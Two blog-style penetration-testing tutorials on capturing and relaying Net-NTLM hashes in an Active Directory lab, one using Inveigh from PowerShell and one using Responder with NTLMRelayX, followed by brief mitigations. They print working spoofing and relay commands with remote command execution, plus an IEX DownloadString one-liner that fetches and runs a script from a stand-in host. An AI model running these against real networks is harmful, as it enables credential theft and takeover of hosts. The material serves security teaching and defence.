Hacking Tutorial

Capturing & Relaying Net-NTLM Hashes Without Kali Linux Using Inveigh

I’ve recently uploaded part three of my LLMNR series. If you’ve missed it, I’ve used Responder and NTLMRelayX with Kali Linux to:

But what happens if you’re on a red team engagement or are otherwise unable to utilize Kali Linux? Trying to get Responder and Impacket running in Windows is a pain, but luckily there is another tool that we can leverage!

Table of Contents

  • Importing Inveigh Module
  • Basics of Running Inveigh
  • Capturing Hashes in Inveigh
  • Relaying Hashes Captured w/ HTTP Proxy
  • Performing SMB to SMBRelay w/ Inveigh
  • Conclusion

Importing Inveigh Module

A quick Google search for “Github Inveigh” returns the following page.


Before going too far, I’d also highly recommend bookmarking the Inveigh Wiki page. This is where you’ll find details on all of the available parameters.


Feel free to download this tool using whatever method works for you, but I personally like to install the Git Bash for Windows utility and install it as if I’m in Linux. If you need a hand getting this installed, check out my guide Installing Git Bash for Windows.

In true wannabe Linux fashion, I like to create a \opt directory in the root of my C:\ drive. This is where I’ll launch my Git Bash session and run the following command to download Inveigh.

git clone https://github.com/Kevin-Robertson/Inveigh.git

Now let’s spin up a PowerShell instance, change into the newly created \Inveigh directory, set our Execution Policy to Remote Signed, and import the script.

Note: You may need to run this as Administrator to take full advantage of all features.

cd C:\opt\Inveigh
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
Import-Module ./Inveigh.psd1

Alternatively, you could bypass the need to download the scripts and just load the script directly into memory by using the following:

IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh.ps1")


IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.psd1")

Basics of Running Inveigh

At this point, Inveigh should be imported into the PowerShell session, waiting for us to call on it. We can start listening to requests on the network by using the following command. While not all of these parameters may be required, I like to use them.

  • -ConsoleOutput : Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn’t hang the shell. Medium and Low can be used to reduce output.
  • -NBNS : Enable/Disable NBNS spoofer.
  • -HTTPS : Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store. If the script does not exit gracefully, manually remove the certificate. This feature requires local administrator access.
  • -Proxy : Enable/Disable proxy server authentication captures.
  • -IP : Local IP address for listening and packet sniffing. This IP address will also be used for LLMNR/mDNS/NBNS spoofing if the SpooferIP parameter is not set.

Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y -IP <attackerIP>

At this point, the listener will be active and output should be displayed on screen. By default, DNS requests being broadcasted on the network will also be displayed in this window, giving you some insight as to what devices and users on the network are doing.

If you press any key in this window, it will stop the live view of requests, but keep the listener running. You can then utilize the following commands, as desired.

Clear-Inveigh – clear the $inveigh hashtable
Get-Inveigh – get data from the $inveigh hashtable
Stop-Inveigh – stop all running Inveigh modules
Watch-Inveigh – enable real time console output

Note: When using Get-Inveigh, I like to add the -NTLMv2 parameter to return all NTLMv2 hashes that were captured.

Capturing Hashes in Inveigh

As long as you have your listener running from before, capturing the hashes should be trivial. We just need to wait for LLMNR to kick in, or for a user to browse your SMB/HTTP shares. Let’s give things a little push in my virtual environment, by attempting to browse to a share that doesn’t exist.

Once we do that, we can head over to our Inveigh window. If you have live output being displayed, you should see the NTLMv2 hash presented to you. If you do not have live output running, you can issue the following command into your PowerShell window.

Get-Inveigh -NTLMv2

Relaying Hashes Captured w/ HTTP Proxy

In addition to capturing hashes, we can also relay hashes as long as their captured in our HTTP proxy. However, this may be a bit of a challenge, because majority of hashes are captured via SMB. Inveigh does not currently support relaying hashes captured via SMB.

To being, we’ll import the Inveigh-Relay.ps1 module.

. ./Inveigh-Relay.ps1

And then the syntax is very straightforward. We just need to specify the target to relay our Net-NTLM hash to, along with what command to run once we have a valid administrator account captured. In addition to this, Invoke-InveighRelay also has some additional “Attack Modes”.

  • Enumerate – The enumerate attack can perform Group, User, Share, and NetSession enumeration against a target.
  • Execute – Performs PSExec style command execution. In previous versions of Inveigh Relay, this was the only available attack. Note, they removed SMB1 support.
  • Session – Inveigh Relay can now establish and maintain privileged/unprivileged authenticated SMB sessions. The sessions can be accessed with Invoke-SMBClientInvoke-SMBEnum, and Invoke-SMBExec from their Invoke-TheHash project. Inveigh Relay will attempt to keep the sessions open as long as the module is running.

My example command will look like this.

Invoke-InveighRelay -ConsoleOutput Y -Target <targetIP> -Command "whoami" -Attack Enumerate,Execute,Session

Now here’s the issue. I mentioned that we couldn’t relay a SMB connection like we can with Responder. This means browsing to a fake share no longer does anything for us. However, we can browse to our hosted HTTP proxy as a quick proof of concept.

Now there is a lot going on in this image, but let’s break this down.

  1. On the left side, we can see the victim browsed to the HTTP server hosted by Inveigh. Inveigh then relayed that hash to the specified target.
  2. Because the user had local admin rights on the target, we could see that we were successfully able to enumerate the local admin users and custom file shares.
  3. We were also able to execute the command we specified when setting up our Invoke-InveighRelay command.

Performing SMB to SMBRelay w/ Inveigh

Previously, I said we are unable to relay a captured hash from SMB to a target via SMB, which is why I had to do my proof of concept using the HTTP Proxy. However, the creator of Inveigh, Kevin Robertson, has had luck with blocking port 445 to encourage clients to use WebDav Port 80 as a failover.

This did not work for me in my test lab, but I wanted to mention it here in case it works for you.


Overall, I think Inveigh is a handy tool if you’re in a pinch, or dealing with a Windows-only scenario and want to try your luck at capturing Net-NTLM hashes. However, I think I still prefer Responder as it seems to be more feature rich for relaying hashes than what we’re currently able to do with Inveigh.

What are your thoughts?

Hacking Tutorial

Abusing LLMNR/NBT-NS in Active Directory Domains: Part 3 (Relaying Net-NTLM Hashes w/ Responder & NTLMRelayX)

Other Parts in Series:

In this guide, I will show you how to take these captured NTLMv2 hashes and relay them to vulnerable machines on the same network, completely bypassing the need to crack them!

Part 3 Table of Contents:

  • Wait, Am I Relaying or Passing?
  • Overview of the Attack
  • Let’s Talk Prereqs
  • Topology of the Network
  • Setting up the Attack
  • Performing the Attack
  • Mitigation

Wait, Am I Relaying or Passing?

Before we dive in too deep, I do want to take a moment to clarify the difference between relaying a captured hash, and passing a captured hash.

  • You CAN perform Pass-The-Hash attacks with NTLM hashes.
  • You CANNOT perform Pass-The-Hash attacks with Net-NTLM hashes.

So where do you get a NTLM hash? These are the type of hashes that are captured when you use a tool like SecretsDump.py to extract the contents of a SAM database. These type of hashes are stored on a system and cannot be relayed over the network. However, you can take a hash in this format and “pass” it to another machine using a tool like PTH-WinExe. While it’s not a full blown tutorial, you can read more about using this tool in a post I made titled Popping Remote Shells w/ winexe & pth-winexe on Windows.

Net-NTLM, cannot be passed around the network. This means in order to use this type of hash to authenticate to another machine, you must capture this hash while it is in transit, and then relay it to a destination that you control. Showing how to do this is the purpose of today’s guide.

Overview of the Attack

If you’ve gone through my previous guides, you already know that we can use a tool called Responder to be intercept any LLMNR broadcasts on the network. By responding to these requests, we are able to capture Net-NTLM hashes from the user account that initiates the request.

Relaying this hash uses the same method, except instead of presenting the hash to us as the hacker, we relay it to a different machine that we’d like to get control of. As long as the hash we captured belongs to a user with admin rights on our destined machine, we should be able to get command execution to take control of it.

Let’s Talk Prereqs

Alright so we know that we must relay a Net-NTLM hash, but what else is required for this attack to work?

  • You must be on the same network as the victim(s). This means that if your attacking machine is in a different subnet/broadcast domain, you will be unable to capture the Net-NTLM hash.
  • LLMNR must be enabled in the network (enabled by default).
  • SMB Signing must be disabled or not required on the target machine. This is the default configuration for most Windows desktop operating systems. Windows Servers will usually have SMB Signing enabled and enforced by default.
  • The Net-NTLM hash that you capture must belong to an elevated user on the target machine in order for you to get command execution.

Topology of the Network

In our scenario, we have four machines that are all a part of the same internal network.

Windows Server 2019:

  • Acts as the domain controller.
  • Has a FQDN of king.nba.local.
  • IP address is

First Windows 10 Machine:

  • Joined to the nba.local domain.
  • Is used by NBA\kBryant domain user.
  • IP address is

Second Windows 10 Machine:

  • Joined to the nba.local domain.
  • Is used by NBA\kIrving domain user.
  • IP address is

Attacker Kali Linux:

  • Not domain joined.
  • IP address is

Setting up the Attack

To begin, let’s head over to our Responder directory. I like to store mine in /opt.

cd /opt/Responder

Find the Responder.conf file and edit it using your favorite text editor. In order for us to run NTLMRelayX later, we’ll need to turn off the SMB and HTTP servers. If we don’t take this step, NTLMRelayX will be unable to utilize these protocols later.

With those servers disabled, we’re ready to fire up Responder. You’ll need a few flags for this to work correctly.

-I : Used to provide the interface that we’re going to listen on.

-r : Enable answers for netbios wredir suffix queries.

-d : Enable answers for netbios domain suffix queries.

sudo python Responder.py -I eth0 -r -d -w

With Responder running, we need to now configure NTLMRelayX so that we can forward any captured Net-NTLM hashes to a target of our choosing. We’ll start by changing into the impacket directory and then use a command similar to the one below.

cd /opt/impacket

sudo ntlmrelayx.py -t <targetIP> -smb2support

Note: Instead of targeting just a single machine, you could also use the -tf targets.txt flag to provide a list of targets.
Note: You’ll need to include the -smb2support flag unless the machine you’re targeting supports SMBv1.

With both commands running, we finally have our attack setup.

Performing the Attack

At this point we have everything set up. Now we just need to sit back and wait for LLMNR to do it’s thing. If we wanted to give it a little push, we could manually browse to a file share that doesn’t exist from a machine that differs from who we are targeting.

At this point, the hash of the user account we issued that request from would be captured and then relayed to our specified target(s). If this user happens to be a local administrator account, NTLMRelayX will dump the SAM database by default.

If we wanted to get more creative, we could also use the -c flag to specify a command to run. Combine this with your favorite C2 launcher (perhaps Covenant), and you’ve got some real nasty stuff going on here.

As a quick proof of concept, I’ll just issue a basic whoami command.

sudo ntlmrelayx.py -t <target> -smb2support -c "whoami"


There are a few ways to mitigate this attack vector.

  1. Disable the LLMNR protocol in your environment. If this wasn’t running to begin with, we wouldn’t be able to capture the Net-NTLM hash so easily. However, this isn’t fool proof as there are other ways to intercept these hashes in a network.
  2. Enable and Enforce SMB Signing. This attack requires SMB Signing to be Not Enforced in order to work successfully against the target machines. By default, SMB Signing is typically enabled on Windows Server operating systems, but disabled on Windows Desktops.
  3. Don’t give users local admin rights, especially not on multiple machines. If we are unable to capture elevated user hashes, we’re unable to get command execution on the target machines.

More to come on mitigation in the future, including step by step instructions on creating and configuring GPOs.